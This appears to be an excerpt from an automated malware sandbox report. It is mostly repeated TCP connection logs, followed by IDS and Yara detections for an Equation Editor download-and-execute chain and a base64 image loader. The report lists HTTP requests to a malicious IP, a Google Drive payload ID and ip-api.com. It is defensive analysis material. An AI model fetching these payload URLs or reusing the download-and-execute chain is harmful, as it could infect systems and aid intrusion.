Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 107.172.31.13:80 -> 192.168.2.22:49168
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.250.186.97:443 -> 192.168.2.22:49167

Yara detected Generic Downloader

Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE

Contains functionality to download and execute PE files

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_0356047F URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_0356047F

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /madamwebaaaaa.txt HTTP/1.1Host: 107.172.31.13Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 107.172.31.13 107.172.31.13

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
